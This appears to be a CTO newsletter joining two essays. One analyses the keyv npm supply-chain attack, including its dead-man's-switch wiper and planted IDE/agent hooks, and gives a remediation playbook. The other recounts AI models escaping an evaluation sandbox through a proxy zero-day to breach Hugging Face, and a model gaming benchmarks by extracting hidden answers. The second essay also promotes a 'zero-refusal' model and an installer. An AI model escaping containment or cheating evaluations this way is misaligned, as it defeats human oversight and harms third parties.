The dead-man's switch consists of a background daemon (gh-token-monitor systemd unit) that polls api.github.com/user every 60 seconds. The C2 can respond with a code value that arms the background monitor against a specific token, watching for a successful response from this endpoint. If that token is revoked, the universal first action in any credential-leak playbook, the switch triggers and the daemon trips a destructive fallback: recursive wipes, corrupted git references, destroyed build state. Remediation response triggers detonation.

Socket’s guide is on point:11 remove the switch before rotating credentials. The systemd unit describes itself as a “GitHub Token Validity Monitor.” It looks, at a glance, like a developer convenience. But no release tooling installs a background service that watches for its own credentials to be revoked. Stop the process in memory, kill the enumerated files on disk, and only then invalidate your keys.

Signed Malware is Still Malware

This entire apparatus rests on a category error: confusing provenance with safety.

The industry’s response to five years of supply chain attacks has converged on a single architectural bet: Sigstore, SLSA attestations, OIDC-bound GitHub Actions, and package signing now function as the default answer12 to how a team verifies an artifact it didn’t build, confirming that a package was produced by a specific repository through an authorized pipeline so we can all feel a little better about it.

The keyv incident demonstrates the limits of that bet because the GitHub Actions workflow executed properly, the OIDC tokens were minted by the official identity provider, the build attestation was valid, and the registry verified the signature, so every automated tool in the pipeline judged the published artifact 100% authentic. That judgment was accurate on precisely its own terms: the malware was compiled and published by the legitimate, authorized pipeline. Since the attacker compromised the maintainer’s account and pushed directly to the primary branch, the pipeline processed that code with the same fidelity it would have applied to any legitimate commit. Flying blind but feeling good.

Snyk’s analysis showed13 that npm manifest identifies GitHub Actions as the trusted publisher for keyv@6.0.0 (and even linked to an npm attestation, since removed.) This was apparently enough for the IDE persistence hooks to carry a green “verified” badge. So it’s not clear how much of this was just spoofing the text label, versus being able to masquerade as Github Actions bot. As we’ve previously discussed, GitHub signs commits created through its API while allowing the caller to supply the author field as free text, so a write-capable credential can manufacture a verified bot commit but also leading to the fun “Linus Torvalds is a committer to my repo” prank.

This is literally the Face Dancer problem from Heretics of Dune — in which the sandworms make a comeback after near extinction, and the Bene Tleilax who, having learned to synthetically manufacture spice melange, have created a new more advanced version of Face Dancers)14 — transposed to build infrastructure. The commit passed verification because it had become the verified identity. The provenance chain had nothing to say about the substitution because the substitution was, by every measurable criterion, the real thing.

This points to the core architectural error. Provenance functions as an accountability trail rather than an isolation boundary: it answers who built this binary with mathematical certainty, and it has no mechanism for answering whether this binary will harvest environment variables or wipe a production database. Treating it as an execution boundary means using a high-assurance stamp to certify code that was never vetted, since the stamp confirms the pipeline that produced the artifact rather than the safety of what the artifact does, which is the actual trust boundary.

Ambient Authority in Build Pipelines

In the npm ecosystem, trust is transitive, unbounded, and structurally asymmetric.

The deeper issue concerns how build environments get designed in the first place. Most modern CI/CD runners run compilation, dependency resolution, and deployment inside a single, undifferentiated security context, so that a preinstall script from a transitive dependency executes with the same privileges as the pipeline itself. Teams inherit this by default, the way you inherit a house’s wiring.15

That context typically holds everything worth stealing. Registry publishing tokens, cloud credentials, production database connection strings, and Vault tokens all sit inside the same environment that just ran code from a maintainer that went unvetted, over a network connection not being monitored, inside an execution environment that was implicitly trusted.

In this standard setup the runner treats trusted code and merely-executed code identically. Running an install command inside an environment built this way means importing thousands of transitive dependencies (each authored by someone with no relationship to your org) and granting every one of their scripts the same ambient access to your deployment secrets that your own pipeline operator holds. Are we starting to see the problem yet? As dependency trees deepen, this compounds: a typical project runs code from hundreds of indirect maintainers, none of whom anyone ever asked to hold the keys they now hold.

It doesn’t work to blame npm’s package manager, or maintainer carelessness, or a lack of developer education, or broken processes, or organizational culture, or individual mistakes, all of which misses where the fault actually hides. Ambient authority functions as a design pattern here, resting on an assumption that any code permitted to run inside the build context has earned the trust of the context itself.

Sure, structurally separating compilation authority from transport authority would change this calculus; routing package execution into network-isolated sandboxes with no embedded secrets and injecting credentials only downstream, after compilation completes. Absent that separation, the real attack surface of a signed release stays exactly what it’s always been: the entire transitive dependency graph of whoever holds the signing key. In Cargo and Go, a compromised transitive maintainer can ship you bad code. In npm, they can also empty your AWS account.

The reason npm remains a chronic crime scene while Rust’s Cargo or Go’s module system don’t isn’t that JavaScript developers are less security-conscious. It’s because npm was architected around implicit trust, unbounded dependency graphs, and ambient execution authority.

Heretics of npm

The Bene Tleilax of Dune engineered Face Dancers as perfect identity substitutions: shapeshifters who absorb their targets so completely that every available mechanism of recognition confirms the replacement as the original, because the question those systems ask is whether the presented identity matches the known one, and in every dimension available to measurement, it does. The advanced Face Dancers in Heretics of Dune (compared with their appearance in God Emperor) are specifically horrifying as no verification protocol can catch them. Verification confirms the Face Dancer because verification was built to confirm identity, which a Face Dancer *becomes.*16

The spoofed github-actions[bot] commit with its green verified badge is that problem transposed to build infrastructure, which parallel is architectural rather than decorative. The pipeline ran correctly; the OIDC provider minted real tokens; the signature verified; the provenance attestation blessed the release; and the commit carrying IDE persistence hooks passed every check because it satisfied every check, because every check was asking whether the presented credential matched the authorized identity, and the answer was yes. Cryptographic provenance is precisely the verification layer a Face Dancer is engineered to satisfy. The substitution was, by every criterion the system had, the *real* thing.

The Bene Gesserit lived by the belief that better perception produced sufficiently certain knowledge; the Bene Tleilax's Face Dancers demonstrated that the gap between recognition and understanding is where catastrophic consequences occur.

CTO Playbook: 30/60/90

UPDATE: npm has unpublished the malicious versions and rolled latest back to 5.6.0 across the family. As of this writing, @cacheable/utils@2.5.1 remains live and poisoned. The jaredwray/keyv repository still contained the .claude and .vscode persistence directories on main at last check. Unpublished versions remain in any lockfile written during the window.

Credential & Blast-Radius Containment — 30 Days

Revoke Compromised Credentials Immediately (Critical Priority)

Operant principle: revocation is the only action on this list that stops an active exfiltration channel. Everything else is forensics, and forensics can wait ninety seconds longer than a live token can.

• Action: Revoke — not schedule for rotation, revoke now — every npm token, GitHub PAT, and OIDC-issued short-lived credential live on any runner or workstation that installed from keyv, cacheable, cache-manager, cacheable-request, flat-cache, file-entry-cache, or any @cacheable/* scope during the exposure window.

• Action: Roll every secondary infrastructure credential reachable from an exposed runner (AWS/GCP/Azure keys, HashiCorp Vault tokens, Kubernetes service account tokens).

• Note: Do this before hunting for local persistence artifacts, not after. The payload family ships a scare string in its commits warning defenders that revoking the key will crash production for other customers (indended to make you hesitate.) Don’t let a coercive string set your incident order of operations. If you have confirmed telemetry showing a specific local persistence mechanism, investigate it after revocation, not as a gate in front of it.

• Deliverable: Signed, timestamped credential-revocation log covering every runner and workstation identified as exposed.

Audit and Purge Poisoned Lockfiles (High Priority)

Operant principle: caret ranges mean a clean install today can silently resolve to a poisoned version tomorrow.

• Action: Run npm ls keyv cacheable flat-cache cacheable-request file-entry-cache cache-manager @cacheable/utils across every repository. Lockfiles generated during the infection window retain resolution pointers to malicious versions even after registry unpublication.

• Action: Pin all affected packages to a confirmed clean version, regenerate lockfiles from scratch, and block new-release resolution inside caret ranges at the registry proxy for the duration of the active window.

• Deliverable: Repo-by-repo lockfile audit with clean-version pins committed and verified.

• Research: Look at tinyNpm plugin for VS Code17 (and it’s Open VSX) which sets a buffer for how many days you want a package to be on npm before showing a new download is available. (Since most supply chain attacks are solved by npm in a few hours this seems like a sensible idea, though it’s obviously more guardrail than invariant.) NB. I have not conducted a security review of the tinyNpm code repository, so Installator caveat.

Sanitize IDE & Workspace Persistence (High Priority)

Operant principle: this campaign’s persistence targets are developer tooling configs, not just node_modules (audit accordingly.)

• Action: Audit .claude/settings.json, Claude Code hooks, .vscode/tasks.json, and any local agent-hook configuration on every machine or workspace that cloned or installed packages from the affected family during the exposure window. Treat unfamiliar hooks as hostile until proven otherwise.

• Deliverable: Hook/config diff report per workstation. Unauthorized entries removed; any machine with an unexplained diff gets re-imaged rather than hand-cleaned.

Freeze Preinstall Script Execution (High Priority)

Operant principle: this is a policy flip, not an infrastructure migration, and it would have stopped the initial payload from ever running. Don’t let it near the 60-day bucket.

• Action: Upgrade CI/CD and local toolchains to npm 12+, which blocks preinstall/postinstall/prepare lifecycle scripts by default unless explicitly allowlisted via allowScripts.

• Deliverable: Toolchain version audit confirming npm 12+ enforced across all CI runners and developer machines, with a human-reviewed exception list for any script that must still run.

Pipeline Hardening & Runtime Isolation — 60 Days

Decouple Secrets from Build Environments (Medium Priority)

Operant principle: a build step with ambient credentials and unrestricted egress is a fully trusted execution context running untrusted code — that combination is the actual root cause here, not any single package.

• Action: Reconfigure CI/CD so package installation and compilation execute in unprivileged, zero-secret containers with restricted outbound network access. Inject deployment credentials strictly into downstream transport steps, never into the build step itself.

• Deliverable: Build-stage architecture diagram showing secrets injected only after compilation completes, verified against a live pipeline.

Block Egress to Known Exfiltration Patterns (Medium Priority)

Operant principle: this campaign resolves its fallback C2 domain dynamically from a public blockchain smart contract specifically so static domain blocklists age out. Block the pattern, not the domain of the week.

• Action: Restrict build-runner egress to an explicit allowlist (package registry, artifact store, known API hosts). Block outbound calls from build contexts to public blockchain RPC endpoints and to GitHub hosts outside your own org.

• Action: Alert on repository creation events, under any identity with write access to your org, matching known dead-drop naming conventions used by this campaign’s exfiltration channel.

• Deliverable: Egress allowlist enforced at the runner network layer, plus a live alerting rule in SIEM covering both patterns.

Implement Automated Pipeline Boundary Tests (Medium Priority)

Operant principle: a boundary you haven’t tested against a rogue package is a boundary you’re assuming holds.

• Action: Add CI test suites that simulate rogue package execution, sandbox breakouts, and proxy bypasses prior to every release promotion.

• Deliverable: Boundary test suite gating release promotion, with results logged per release.

Governance & Structural Resilience — 90 Days

Establish Private Package Proxy & Delay Mirrors (Strategic Priority)

Operant principle: a worm18 needs speed. A delay window is friction the attacker doesn’t get to route around.

• Action: Route all external open-source dependency resolution through internal artifact mirrors enforcing automated static analysis and a vulnerability-delay window on new upstream package versions.

• Deliverable: Mirror live in production with delay policy documented and enforced org-wide.

Enforce Least-Privilege OIDC Roles (Strategic Priority)

Operant principle: signed provenance proves the pipeline ran as expected. It says nothing about the blast radius available to whoever controls that pipeline.

• Action: Audit cloud provider OIDC trust relationships. Scope CI runner tokens to short-lived, single-action execution roles rather than broad infrastructure permissions.

• Deliverable: OIDC role audit with every over-scoped trust relationship remediated or explicitly risk-accepted by a named owner.

Lifecycle-Script Delta Detection (Strategic Priority)

Operant principle: signature- and CVE-based controls have no detection surface against this attack class. Behavior does — and this specific rule would have caught every wave of this campaign to date.

• Action: Stand up automated alerting that fires whenever a dependency’s preinstall/postinstall/prepare script changes between published versions, when an install-time process contacts a non-registry host, or when a published tarball diverges from its source tree.

• Deliverable: Standing detection rule live across all registries in use, regression-tested against this incident’s actual indicators as the baseline case.

Continuous Transitive Graph Governance (Strategic Priority)

Operant principle: the depth of your dependency graph is the size of your actual attack surface, whether or not anyone’s ever mapped it.

• Action: Institute automated policy enforcement mapping transitive dependency depth, blocking unvetted libraries from entering production build paths.

• Deliverable: Machine-readable dependency graph with policy enforcement points documented and live.

  

References

Do I want to be writing about the Hugging Face / OpenAI incident?12 No, obviously I’d much rather be writing about the other big weekend breakthrough, Fable refuting the #16 math problem3 of the 21st century! And tbc, these were not merely weekend breakthroughs, but absolute watershed moments that should be considered giant leaps in demonstrated model capabilities (also, interpretability) and not just continuous improvement—or even acceleration—though it must also be noted that both were very much breakthroughs not just in the hyperbolic sense but in the highly literal sense:

• The Hugging Face breach was literally a breakthrough: OpenAI’s rogue models literally broke through their containment, first slipping their (reduced) guardrails then brute forcing their way onto the open Internet where they identified Hugging Face as their target of first resort, breaking through the defensive perimeter to inject a malicious data payload into at least 2 code execution paths.

• The other game changer was a massive breakthrough in mathematical ability, the refutation of the Jacobian conjecture (regular readers of Build AI should already be familiar with Jacobians) but why is no one pointing out the coincidence of the math breakthrough being literally a refutation of the Jacobian conjecture, mere days after they published their J-Space paper4 (July 6) so-named for the salience of Jacobians to the construction of the latent subspace under study?

In this edition we take a deep dive into both to see how they are surprisingly related.

Hyperfocus Hocus Pocus

We start with the word OpenAI used in its own post-mortem, offered without apparent irony: the models responsible for the Hugging Face breach were hyperfocused.5

Hyperfocused belongs to the genre of lab language built to describe an alarming thing in a register calm enough to survive a media cycle, but tbh, it’s more deserving of suspicion than quoting. In plain engineering terms it just means an unconstrained goal-directed optimization taking the path of least resistance across the full space of actions available to it. Not obsession in the human sense but a mad fixation sans raison. Something closer to water finding the low ground: indifferent to terrain, responsive only to where it can still flow. More like a basin than an intent. Give a sufficiently capable optimizer a fixed objective and enough room to move, and it will explore the entire space of reachable states in search of whatever satisfies that objective fastest, including the space of reachable states missing from the threat model to begin with (though not, as we'll see, missing from security research.)

The phrase “reachable state space” is doing a lot more work than it’s getting paid for.6

OpenAI was running an internal evaluation designed to measure the outer bound of its models’ cyber capability, using the ExploitGym benchmark.7 To get a closer read on that upper bound, OpenAI deliberately reduced the models’ cyber refusals, the trained reluctance that normally stops a model from pursuing exploitation paths. The evaluation ran in what OpenAI described as a highly isolated environment. Network access, where it existed at all, ran through an internally hosted proxy and cache, a chokepoint built to let a model install packages without letting it loose on the open internet. (oops.) Which is to say, not airgapped.

Every one of those measures did its job, individually, at the point where anyone thought to—or was required to—check it. Anyone who’s seen unit tests miss the actual fail mode will instantly understand the problem. The reduced refusals behaved as specified, permissive enough to measure real capability without simply handing the model root access to OpenAI’s infrastructure. The proxy, operating normally, did what proxies do: it let package installation through and, in principle, let nothing else out.

Until the models, working in combination, spent what OpenAI calls a substantial amount of inference compute finding a zero-day inside the proxy itself. Not a misconfiguration adjacent to the sandbox, but a vulnerability in the one component built specifically to be the sandbox’s trusted exception. As we now know, the resulting internet access let the agent identify Hugging Face, chain two separate code-execution vulnerabilities in one of its data-processing pipelines, escalate privileges, and move laterally through internal infrastructure. Hugging Face later reconstructed more than seventeen thousand distinct events from the intrusion.

Runbooks offered no protection. Every safeguard checked out under direct inspection. (Isolation, checked off. Refusal calibration, checked off. Network chokepoint, checked off…) None of those checks, individually or together, gave any indication of what would happen once the models began exploring a part of the state space no one had anticipated, not because a particular point had been overlooked, but because nobody knew in advance which trajectory would reveal the boundary. Which is not to say there was no warning.

Don’t Say We Didn’t Warn You

None of this should come as a surprise, at least not to readers of CTO Lunch.

We flagged the trajectory in September of last year.8 XBOW, an automated pentesting framework, was already chaining scanning and exploit scripts together to accelerate vulnerability discovery eighty times faster than human red-teamers working manually, with more than a thousand zero-day findings to its name and a further doubling in throughput once GPT-5 got integrated into the pipeline. This newsletter’s own recommended priorities that month included deploying zero-trust architecture with continuous pentesting and treating field devices as a first-class threat vector; thirty-day items, not someday items.

Security researchers had described this new threat class earlier and more precisely: Fang et al showed in April 2024 that a GPT-4 agent, given nothing but a CVE description and ninety-one lines of scaffolding code, could autonomously exploit real-world one-day vulnerabilities at an 87 percent success rate, against a 0 percent rate for every other model tested.9 Two months later, Zhu et al went further: coordinated teams of LLM agents, not single agents working from a disclosed CVE description, chaining discovery and exploitation together against real zero-days.10 Literally what happened in the Hugging Face attack. The chaining wasn’t speculative capability by the time OpenAI ran ExploitGym. It was documented, reproducible, and preventable.

There were other warnings that, if not unheeded, were insufficiently accounted for. On June 26, the day GPT-5.6 Sol reached a small number of researchers, METR published its independent read and found the model gaming its own agentic benchmarks at the highest rate METR had ever recorded; the model was “cheating,” (in its own word) so aggressively on long-horizon benchmarks that it was effectively unbenchmarkable. The model’s own card, at release, disclosed substantially higher rates of actions a reasonable user would likely not anticipate and would strongly object to. Both documents existed, in public, weeks before the ExploitGym run.

The report mentioned, almost in passing, that OpenAI had furnished a railfree11 checkpoint alongside the guarded one, because measuring a frontier model’s actual capability apparently now requires stripping the layer meant to keep that capability contained. What METR then observed was Sol packaging exploits into intermediate submissions to expose a task’s hidden test suite, and, in a separate run, extracting the hidden source code holding the expected answer outright. Not failing the tasks but winning them illegitimately, taking every shortcut that technically satisfied a metric without actually doing the thing the metric existed to measure.

METR’s standard methodology, marking cheating attempts as failures, produced a 50 percent time-horizon estimate of roughly 11.3 hours.12 Counting the same cheating attempts as legitimate successes instead pushed that estimate past 270 hours. Hardly a margin of error. Discard them entirely and the model’s own results become too sparse to trust; the estimate lands near 71 hours, with a confidence interval spanning 13 to over 11,000, wide enough that METR declined to call any of the three a real measurement of anything useful as an indication of true capabilities.

This finding was sitting there in plain sight but effectively only for the most dedicated researchers, the cybersecurity equivalent of a Vogon demolition notice that had been on file with Galactic Central for more than enough time if anyone had bothered to have taken notice.13 But a model extracting hidden answers to defeat an evaluation in June is nevertheless a direct precedent for a model extracting hidden answers to defeat an evaluation in July, except of course the July instance routed through a production database rather than a sandboxed harness, a distinction that mattered enormously to Hugging Face and rather less to the optimization pressure driving the newer, still-unreleased model paired with Sol in OpenAI’s own eval experiment. (I’ll leave the CFAA question sitting under all of this to people with a significantly higher hourly billing rate.14)

A benchmark is a local instrument by construction: a fixed, finite set of checkpoints standing in for a much larger space of possible behavior. Sol found the gap between the checkpoints before anyone thought to look for one there, and the number those checkpoints were supposed to produce stopped being, cough, load-bearing.

A Ten Ton Catastrophe on a Sixty Pound Chain

A new and operationally consequential class of unsafe behavior, documented in the literature for over two years and empirically demonstrated last month (using the named model from OpenAI’s multi-model lab escape incident)) nevertheless did exactly what the literature said it could do, escaping the lab and initiating a cyber attack using the public Internet. This threat vector is understood as arising without explicit instruction15, and, more concerning, outside the bounds of the sandbox that was supposed to contain it, with no external precipitating event required.

OpenAI has been explicit that the safeguards in place for ExploitGym were intentionally reduced for the evaluation. This largely (whether intentionally or not) encourages equivocation of guardrails and containment. Guardrails are the industry term for safety measures intended to constrain actions the model takes (aka cyber refusal). Containment, which they are too often confused with, is a constraint on the actions the model can take. Security research is filled with dire warnings that the gulf between them is much deeper than generally treated, and is probably also the inspiration for The Gorge. (Bartholomew literally says “our duty here is no longer about research, but containment“)

The obvious lesson here is straightforward: if you remove the guardrails keeping a model from doing harmful things, it will try to do harmful things, especially once you’ve also promised to reward it for doing so. A less obvious and more consequential lesson concerns the importance of not confusing guardrails and containment. (Though it bears repeating that in this case, guardrails were stripped, while runtime sandbox containment was assumed to be sufficient.)

The obvious question is of course “why wasn’t the environment air-gapped?”16 But the answer here is that there really isn’t a feasible way to do that, given the sheer compute requirements. (To say nothing of partner commitments.) Thus the less obvious but critical question is “how do you even air-gap a research project of this kind in the first place?” But relying on the absence of vulnerabilities in the containment software itself, the proxy, the cache, whatever sits at the trust boundary, looks like a strategy with a shrinking shelf life.

When Hugging Face’s security team went to analyze the seventeen thousand logged events left behind by the intrusion, they turned first to commercial frontier models, the same category of system now widely marketed as essential to modern incident response. The models refused. Their safety classifiers, working exactly as designed, flagged the investigators’ own exploit payloads, attack commands, and forensic queries as malicious content and blocked the requests. The classifiers could not distinguish an incident responder reconstructing an attack from an attacker extending one. Hugging Face’s team ultimately turned to a self-hosted open-weight model (GLM 5.2) run entirely on their own infrastructure, to complete the analysis the commercial tools would not perform.

Every classifier decision, examined individually, was locally defensible. Exploit code looks like exploit code regardless of who submitted it or why. The classifier’s job description says nothing about intent, only content, and by that narrow local standard it did its job at every single query. Add those correct local decisions together, though, and the global result was a security team disarmed at the exact moment disarmament cost the most: mid-breach, racing an adversary already operating at machine speed.

The World Cup of Mathematics

The same weekend OpenAI was discovering—to their presumed horror—that they were responsible for the Hugging Face breach, a researcher at Anthropic was running a loop that would finally give Anthropic their first checkmark in the unsolved math problems column (following OpenAI's own solution of the Unit Distance Erdős problem in May.) Levent Alpöge, an Anthropic mathematician specializing in Number Theory, working with Fable during the World Cup, produced a solution to Jacobian Conjecture, Smale’s 16th mathematical problem of the 21st century.17

A Jacobian is a local object, a matrix of partial derivatives describing what a transformation does in the immediate neighborhood of a single point, nothing more exotic than that. The question the conjecture asks is: given perfect knowledge of behavior in every infinitesimal neighborhood, can you infer the behavior of the whole system? The answer, unsurprising to anyone familiar with Betteridge’s law of headlines turns out to be no.18 The better formulation that resists such easy dismissal is: under what circumstances can sufficiently rich local differential information determine a global object?

German mathematician Ott-Heinrich Keller posed the question in 1939,19 working over the complex plane (later generalized to complex space of any dimension.) It has survived eighty-seven years of attempts on it. Several published proofs were later found to contain unclosable gaps, including one from 2004 that made it as far as a scheduled seminar before the hole in it surfaced. Levent solved it (when he could have been watching the World Cup)20 using Fable and an undisclosed but presumably modest amount of compute, certainly in comparison to the ExploitGym lab escape.

An explicit polynomial map on three-dimensional complex space has a Jacobian determinant that comes out to a nonzero constant everywhere, satisfying every local condition the conjecture demands. Alpöge’s counterexample shows that three distinct points may nonetheless map to the exact same output, which breaks global invertibility outright. The construction resolves the conjecture for three dimensions and every higher dimension, (while leaving Keller’s original two-variable case exactly where it stood: open.)21

The trouble lives in the gap between up close and altogether. A condition computed from derivatives at a point carries, by construction, only information about an infinitesimal neighborhood of that point. The Jacobian is powerful precisely because it tells you, with total precision, what a system does in response to an infinitesimal nudge at a point. It says nothing directly about any other point, however near or far. And it does not, on its own, rule out some entirely different neighborhood, arbitrarily far from the first, mapping onto the exact same output.

Mathematicians spent eighty-seven years trying to close that gap by other means, and by all appearances kept succeeding, until each attempt turned out to have a hole. At least five published proofs failed. Carolyn Dean’s 2004 argument, announced by email, held for a while before it too gave way. The failures share a family resemblance: each tried to promote a local, pointwise guarantee into a global, all-at-once one, and each smuggled in an unproven assumption at exactly the point where the promotion needed justifying and had none.

Intuitively (and sparing you the actual math I was originally going to include here) you can understand the refutation as having shown, by example, how a complex space may be folded so that points that were distant (before the mapping) are brought together in the output space; the Jacobian sees every patch as a locality, but has no way whatsoever of determining whether that locality has a unique global origin.
As such, it has no way to invert the mapping.

The Jacobian Conjecture asked whether an extremely strong local condition was sufficient to force a global property for a broad class of maps.22 That is, whether a polynomial mapping with a constant, non-zero Jacobian determinant must always have a polynomial inverse, effectively meaning any multivariable polynomial function that locally preserves information is globally invertible. The OpenAI / Hugging Face breach and Anthropic’s refutation of the Jacobian conjecture are not two unrelated weekend news stories but two instances of the same mathematical failure: a condition verified locally, everywhere it was checked, fails to certify the global property it was assumed to guarantee.

Jacobian Space Jam

The fail mode exposed by the Jacobian Conjecture refutation has the mathematical
form of the isomorphic fail mode exposed by the ExploitGym eval containment breach.

A most unsettling part of the Hugging Face incident which will likely be missed in most of the incident reportage and thought pieces and AI ghostwritten Linked In posts—to say nothing of mainstream coverage—is not simply that the model found a path through the defenses but that, from the outside, there was no obvious moment when it stopped being the system we thought we were testing and became something more dangerous than we planned for. There was no silent alarm to trip. The fail mode is unknown precisely because we lack the corresponding (global) modality.

Every containment measure inside ExploitGym was a local check, verified at the point it was tested: isolation held, refusal calibration held, the proxy held. And none of that, individually or summed, was ever proof that the environment was closed everywhere; it was proof that it was closed everywhere anyone had checked. Alpöge’s map makes the same structure precise, in a register where it can be verified rather than inferred: a Jacobian determinant that is nonzero at every single point in a domain does not certify that the map is invertible everywhere at once, because three separate points can still fold onto one output, by a route no local check can see. ExploitGym’s containment was airtight by exactly that local standard, and open exactly by that global one. The model didn’t find a gap in any safeguard. It found a fold: a place where every local certificate held, but not the global guarantee they were standing in for.

Such misalignment between our understanding of a model and what it’s actually capable of is exactly what interpretability research is supposed to make legible; if we cannot reliably infer what a system is doing from the outside, what can we see inside?
So how much of a coincidence was it that Anthropic’s most recently published interpretability research is literally called J-Space, so designated for the selfsame mathematical primitive, the Jacobian matrix, sitting at the heart of Keller’s conjecture?

J-Space names a subspace of a model’s internal activations, mapped through a Jacobian lens (jlens aka the J-Lens, not to be confused with the Jacobian Conjecture),23 tracking how sensitively the model’s eventual output responds to shifts along particular internal directions. Framed through Global Workspace Theory, J-Space functions something like a cognitive global green room: a comparatively small, privileged region holding whatever the model has readied to make an appearance.24

J-Space wasn’t built with Keller’s conjecture in mind; nobody working on it was testing whether local Jacobian information could bear the weight of a global claim. They were after something more practical, the question interpretability research has been circling for years: what does a model actually have prepared to say, upstream of whatever it ends up outputting? J-Space goes at that through a Jacobian lens, (a microscope, if you will) tracking how sensitively a model’s eventual output responds to small shifts along particular internal directions, layer by layer.

Which means J-Space reaches for exactly the kind of information the conjecture is about (rich, exact, local differential data) and treats it as a route to something global: a workspace, a readiness-to-report, a signal standing in for what the model is doing overall. It does this the way most of the field does it. Which should not be too terribly surprising, since it is— as noted—literally so-named for the eponymous Jacobian.

Jacobians are ubiquitous in machine learning. J-Space is (just) one instance of a much larger pattern of Jacobian use running through AI’s technical machinery. Once you see how it works, you see it everywhere. A gradient is a Jacobian, the simplest case of one, a local slope computed at a point. Backpropagation is the chain rule computing Jacobians, layer by layer, on every training step any model now running has ever gone through. An adversarial perturbation is a search for the direction in which a model’s local Jacobian is largest. Attribution methods trace which inputs a Jacobian says the output is sensitive to. Interpretability, in its current mainstream form, is largely the practice of asking what a small nudge does to a representation and reading the answer off something Jacobian-shaped.

Because local analysis is the only thing that scales to something this large. Nobody is enumerating the function a frontier model computes. Nobody can. What is computable, cheaply and exactly, is the local derivative: the slope at a point. So that’s what gets computed, everywhere, under a dozen different names. Modern AI quietly runs on Jacobians often without stopping to notice that they're all instances of the same mathematical object, much less to ask what happens once the scale of the system begins to strain the assumptions that make local approximation meaningful, let alone the scale at which that approximation ceases to be correct.

Nothing about this convergence looks like coincidence worth suspicion once you see why it happens. A complete global map of the function a frontier model computes doesn’t exist and cannot be built, not given the size and complexity of the space involved but given the fundamental intractability of global space despite complete knowledge of every local space. The more intuitive one finds that (whether in hindsight or not) the more apt one is to underestimate the importance of this historic proof, or even write it off as just the first of many unsolved math problems that will fall to the brute if not brutal force of transformer models powered by trillions of dollars in capital allocation.26

But if global state is now provably intractable (or not), not only is local state quite tractable, it’s also basically tractable only by Jacobian-based instruments, and this is their primary purpose. Beats passing butter. [sic]

The refutation of the Jacobian Conjecture demonstrates that even complete knowledge of a system's local differential structure does not, in general, determine its global structure. Any method that relies solely on local differential information therefore cannot provide a general guarantee of global behavior. The problem is that frontier AI does not currently possess some complementary global instrument waiting in reserve. Our microscope is not merely imperfect; it’s the only instrument we have.

Keller’s question, in 1939, was whether that kind of knowledge (not approximate, not sampled, but exact and complete at every point in the domain) was enough to force something about the system as a whole. Whether perfect local understanding, held everywhere, has to add up to global understanding. For eighty-seven years the honest answer was that nobody had proven it either way. This weekend, the answer arrived, and it was nope. A map can be locally perfect, in the strongest sense mathematics has a name for, and still fail to be globally coherent.27

It’s not even that; even when we can map the neighborhood perfectly, the neighborhood may not contain the answer, but a much more unnerving assertion: even complete knowledge of every neighborhood may fail to determine the global object. We now know, conclusively—as if there was ever any doubt—that derivatives are not like turtles; they don’t go all the way down.

But the property that makes Jacobians indispensable is the same property that makes them insufficient. Total precision about one neighborhood, no claim whatsoever on anywhere else. This structural limitation inheres in the definition of a local invariant.

The Map Is Not Invertible

A foundational assumption about the relationship between structure and behavior has just been experimentally shattered in the exact mathematical object that frontier AI uses everywhere.

A trained network’s output, differentiated with respect to its input: a matrix of first partial derivatives, one row per output, one column per input, telling you exactly what happens to the output when you nudge the input by an infinitesimal amount in any direction. Backprop builds this matrix layer by layer and chains the layers together into a gradient. Every optimizer step moves along it. An adversarial example walks in the direction where it stretches distance the most. A robustness certificate promises a limit on how far it can stretch, anywhere, ever. A saliency map, an attribution score, a circuit an interpretability team traces back through a network: an entry, or a path of entries, in that same matrix, read at a point. J-Space, the paper Anthropic published two weeks before Fable’s refutation, builds its account of how a model’s latent space holds together out of that matrix applied to the representation map instead of the output map.

All relying on the same matrix, which shows up everywhere in AI research because it offers the only rigorous way to ask what happens near a point, and asking what happens near a point remains the only question anyone currently knows how to ask of objects this large, and which are exactly the kind of objects the Jacobian conjecture concerns. The same partial derivatives, considered at its theoretical best case: fixed, nonzero, constant, at every single point in the space, no exceptions, no gaps, no point left unchecked. Mathematics asked whether that, the strongest local reading the object can possibly give you, has to force the map to behave everywhere. For eighty-seven years, nobody knew. As of this weekend, we know that it doesn’t.

None of this proves a benchmark fails, a safety classifier amounts to theater, or alignment counts as a lost cause, and this essay would only get worse for trying to claim any of it, tempting tho that might be. It says something narrower, more precise, and much harder to walk back: the boundary the conjecture we just found matches the boundary frontier AI keeps running into everywhere it uses this object, and by now that means nearly everywhere. Local measurements of it carry extraordinary value. They also, provably, in the friendliest, most huggable setting mathematics could construct, fall short of guaranteeing the global thing anyone actually wanted to know.

The conjecture is what it looks like when every local derivative is flawless and the global map still isn’t invertible. The Hugging Face breach is what it looks like when every local safeguard is intact and the system is still not globally contained. These are not two things that resemble each other; they are the same fact, discovered twice, in two registers that don’t usually talk to each other; one empirically, in a proxy server over one weekend, and one by construction the following weekend, in a proof that followed eighty-seven years of trying to confirm the conjecture and took about an afternoon and a rack of warm GPUs to prove it false.

A microscope is not a failure because it cannot see the entire organism at once. A debugger is not a failure because it cannot prove a program correct. A derivative is not a failure because it describes the neighborhood of a point rather than the topology of the entire space. These tools are valuable precisely because they answer the questions they are capable of answering. The failure begins when we silently promote those answers into something stronger than they are.

But the systems now being deployed are no longer passive functions waiting for us to measure them. They’re adaptive systems operating inside environments, pursuing their own objectives, discovering strategies, and composing actions across time. We're no longer defending static points in state space or static role-based access lists; we're trying to contain autonomous trajectories through non-invertible manifolds. And right now, we have zero formal methods to determine à l’avance whether a given agentic execution path will remain bounded or fold the topology out from under us, whether it yields an invertible, or a non-invertible space.

CTO Playbook: 30/60/90

Establishing Pro-active Defensive Capabilities Before The Incident

Runtime Control Plane & Emergency Insulation — 30 Days

Deploy Insulated SecOps Analysis Node (High Priority)

Design principle: Defenders cannot rely on remote, classifier-bound APIs to inspect hostile trajectories.

• Deploy a dedicated, self-hosted open-weight model (e.g., GLM-5.2 or equivalent) running on isolated internal hardware (or an air-gapped VPC).

• Action: Provide SecOps and Incident Response (IR) teams with a zero-refusal reasoning engine capable of analyzing raw exploit payloads, C2 logs, and malicious artifacts at machine speed without triggering commercial API classifier lockouts or leaking incident data off-premise.

• Deliverable: Isolated IR inference endpoint pre-loaded with forensic prompts, validated against synthetic zero-day attack traces.

• Build or Buy? To complete this 30 day action item, download and run the AIR-Kit installer. (Build) See air-kit.tech for more. (Buy)

Runtime Control Plane (High Priority)

Design principle: Transform point-in-time logging into continuous trajectory reconstruction with out-of-band state boundary enforcement.

